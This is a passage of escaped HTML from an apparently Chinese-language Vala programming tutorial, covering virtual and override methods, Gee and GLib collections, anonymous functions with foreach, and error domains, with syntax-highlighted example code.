class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eabstract\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// virtual 有默认的实现\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evirtual\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epretty_print\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Please \u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eNormalPrint\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePrintable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 实现上面的 abstract\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;don\u0026#39;t forget about me\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eOverridePrint\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePrintable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Mind the gap\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 重载函数,覆盖 virtual 的默认实现\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eoverride\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epretty_print\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Override\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enormal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNormalPrint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoverridden\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOverridePrint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enormal\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretty_print\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoverridden\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretty_print\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"gee\"\u003eGee\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Libgee\" target=\"_blank\" rel=\"noopener\"\n \u003eGee\u003c/a\u003e 相当于 C++ 里面的 STL 。我对这个了解不多,先把官方的示例贴上来:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/GeeSamples\" target=\"_blank\" rel=\"noopener\"\n \u003eProjects/Vala/GeeSamples - GNOME Wiki!\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e实际上 GLib 已经实现了很多的数据结构,但我个人建议 Gee,功能比 Glib 本身有的更丰富,但是编程的时候需要添加 Gee 库。 \u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eGee\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eGlib 中,我有用过:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eArray\u0026lt;类型\u0026gt;:变长数组\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eList\u0026lt;类型\u0026gt;:双向列表\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eGee中,我有用过:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSet\u0026lt;类型\u0026gt;:无重复集合\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eHashMap\u0026lt;类型1,类型2\u0026gt;:哈希字典\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e具体用法请参阅相关文档和示例,链接给完了,我溜了~\u003c/p\u003e\n\u003ch2 id=\"迭代匿名函数\"\u003e迭代,匿名函数\u003c/h2\u003e\n\u003cp\u003e首先是匿名函数,很简单:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"err\"\u003e函数形参\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"err\"\u003e函数体语句\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"err\"\u003e函数形参\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"err\"\u003e一条语句\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e一般用于函数作形参的时候,临时写一个简单的。比如下面那个情况。\u003c/p\u003e\n\u003cp\u003e还有迭代,有些预先定义好的数据结构都支持迭代,使用的时候使用 \u003ccode\u003eforeach\u003c/code\u003e 方法就好。比如说:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// foreach 方法需要一个函数,这里面的就是匿名函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eto_string\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()));\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"异常处理和空值\"\u003e异常处理和空值\u003c/h2\u003e\n\u003cp\u003e先写出一个错误空间,说明这是啥大类的错误,里面可以细分。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eerrordomain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCOULDNT_OPEN\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEXECUTION_FAILED\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePREPARATION_FAILED\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBIND_FAILED\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eINVALID_GAME\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNOT_FOUND\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan 